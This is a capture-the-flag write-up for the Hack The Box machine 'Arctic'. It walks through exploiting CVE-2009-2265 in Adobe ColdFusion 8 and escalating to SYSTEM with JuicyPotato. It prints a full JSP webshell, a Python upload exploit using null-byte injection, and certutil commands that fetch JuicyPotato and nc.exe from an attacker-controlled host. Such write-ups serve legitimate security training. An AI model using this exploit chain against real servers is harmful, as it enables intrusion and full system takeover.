Arctic
Adobe ColdFusion 8 on port 8500 exposed a null-byte file upload vulnerability (CVE-2009-2265) in its bundled FCKeditor component, allowing a JSP webshell to be planted and executed as the tolis service account.
Overview
Arctic is an easy-difficulty Windows machine running Adobe ColdFusion 8 on a non-standard port. The attack chain begins with CVE-2009-2265: a null-byte trick in the FCKeditor upload endpoint bypasses extension filtering and plants a JSP webshell, giving remote code execution as arctic\tolis. From there, SeImpersonatePrivilege on the service account enables JuicyPotato to impersonate NT AUTHORITY\SYSTEM and read the root flag.
Machine Matrix
CVE and Real-Life score high because a well-known 15-year-old unpatched ColdFusion vulnerability and a standard Windows SeImpersonatePrivilege abuse are the entire chain — both are common real-world findings with weaponized public exploits.
Recon
| Port | Service | Notes |
|---|---|---|
| 135/tcp | MSRPC | Windows RPC endpoint mapper |
| 8500/tcp | HTTP (JRun) | Adobe ColdFusion 8 admin + app |
| 49154/tcp | MSRPC | Dynamic RPC port |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p135,8500,49154 -sC -sV -Pn 10.10.10.X
Port 8500 stands out immediately — JRun serving ColdFusion 8 directly to the internet with no reverse proxy. Visiting /CFIDE/administrator/index.cfm confirms the exact version: ColdFusion 8.0.0.
Enumeration
Browsing to http://10.10.10.X:8500/CFIDE/administrator/index.cfm returns a 200 with the ColdFusion 8 admin login page, revealing the exact version string in the page footer.
1
2
curl -s -I http://10.10.10.X:8500/
curl -s -o /dev/null -w "%{http_code}" http://10.10.10.X:8500/CFIDE/administrator/index.cfm
ColdFusion 8.0.0 is known-vulnerable to CVE-2009-2265 — an unrestricted file upload via null-byte injection (CWE-626) in the bundled FCKeditor component. The upload endpoint at /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm is accessible without authentication.
Foothold
First, create a minimal JSP webshell locally:
1
2
3
4
5
6
7
8
9
10
11
python3 -c "
content = '''<%@ page import=\"java.util.*,java.io.*\"%>
<% if (request.getParameter(\"cmd\") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));
DataInputStream is = new DataInputStream(p.getInputStream());
String line = is.readLine();
while (line != null) { out.println(line); line = is.readLine(); }
} %>'''
open('/tmp/shell.jsp','w').write(content)
print('written')
"
Upload it via CVE-2009-2265. The CurrentFolder parameter uses a null byte %00 to terminate the path string server-side, tricking ColdFusion into saving the JSP to a web-accessible directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
python3 -c "
import urllib.request, io, uuid
boundary = uuid.uuid4().hex.encode()
with open('/tmp/shell.jsp', 'rb') as f: body = f.read()
data = b'--' + boundary + b'\r\n'
data += b'Content-Disposition: form-data; name=\"NewFile\"; filename=\"shell.txt\"\r\n'
data += b'Content-Type: application/octet-stream\r\n\r\n'
data += body + b'\r\n--' + boundary + b'--\r\n'
url = 'http://10.10.10.X:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/cmd_shell.jsp%00'
req = urllib.request.Request(url, data=data)
req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary.decode())
print(urllib.request.urlopen(req, timeout=60).read().decode())
"
Confirm RCE — the JVM executes the JSP and returns command output:
1
2
3
4
5
python3 -c "
import urllib.request, urllib.parse
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote('whoami')
print(urllib.request.urlopen(url, timeout=30).read().decode().strip())
"
Output: arctic\tolis — remote code execution confirmed as the ColdFusion service account.
User flag
1
2
3
4
5
python3 -c "
import urllib.request, urllib.parse
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(r'cmd.exe /c type C:\Users\tolis\Desktop\user.txt')
print(urllib.request.urlopen(url, timeout=30).read().decode().strip())
"
1
type C:\Users\tolis\Desktop\user.txt # HTB{...}
Shell landed as tolis and the user flag is ours.
Privilege Escalation
Check token privileges via the webshell:
1
2
3
4
5
python3 -c "
import urllib.request, urllib.parse
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(r'whoami /priv')
print(urllib.request.urlopen(url, timeout=30).read().decode())
"
Output confirms SeImpersonatePrivilege is Enabled. This allows a service account to impersonate any token that authenticates to a COM server it controls — the exact primitive JuicyPotato exploits.
Serve JuicyPotato and nc.exe from the attacker machine (start a Python HTTP server on port 8081), then download them to the target:
1
python3 -m http.server 8081
1
2
3
4
5
6
7
8
python3 -c "
import urllib.request, urllib.parse
def cmd(c):
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(c)
return urllib.request.urlopen(url, timeout=60).read().decode(errors='ignore').strip()
print(cmd(r'certutil -urlcache -split -f http://<lhost>:8081/JuicyPotato.exe C:\Windows\Temp\jp.exe'))
print(cmd(r'certutil -urlcache -split -f http://<lhost>:8081/nc.exe C:\Windows\Temp\nc.exe'))
"
Create a batch script (getroot.bat) to copy the root flag to the webroot and serve it from the attacker HTTP server:
1
2
3
4
5
6
7
python3 -c "
open('/tmp/getroot.bat','w').write(
'copy C:\\\\Users\\\\Administrator\\\\Desktop\\\\root.txt C:\\\\ColdFusion8\\\\wwwroot\\\\userfiles\\\\file\\\\rf.txt\r\n'
'icacls C:\\\\ColdFusion8\\\\wwwroot\\\\userfiles\\\\file\\\\rf.txt /grant Everyone:F\r\n'
)
print('done')
"
Download the batch script to the target:
1
2
3
4
5
6
7
python3 -c "
import urllib.request, urllib.parse
def cmd(c):
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(c)
return urllib.request.urlopen(url, timeout=60).read().decode(errors='ignore').strip()
print(cmd(r'certutil -urlcache -split -f http://<lhost>:8081/getroot.bat C:\Windows\Temp\getroot.bat'))
"
Run JuicyPotato with a Server 2008 R2 CLSID to impersonate SYSTEM and execute the batch script:
1
2
3
4
5
6
7
python3 -c "
import urllib.request, urllib.parse
def cmd(c):
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(c)
return urllib.request.urlopen(url, timeout=90).read().decode(errors='ignore').strip()
print(cmd(r'C:\Windows\Temp\jp.exe -l 1341 -p C:\Windows\Temp\getroot.bat -t * -c {F087771F-D74F-4C1A-BB8A-E16ACA9124EA}'))
"
JuicyPotato creates a fake DCOM server, the Windows DCOM service (running as SYSTEM) authenticates to it, the token is captured, and CreateProcessWithTokenW runs getroot.bat as NT AUTHORITY\SYSTEM — full system compromise via CWE-269 (improper privilege management).
Root flag
1
2
3
4
python3 -c "
import urllib.request
print(urllib.request.urlopen('http://10.10.10.X:8500/userfiles/file/rf.txt', timeout=20).read().decode().strip())
"
1
type C:\Users\Administrator\Desktop\root.txt # HTB{...}
Full compromise confirmed — NT AUTHORITY\SYSTEM achieved via JuicyPotato token impersonation on an unpatched Windows Server 2008 R2 ColdFusion host.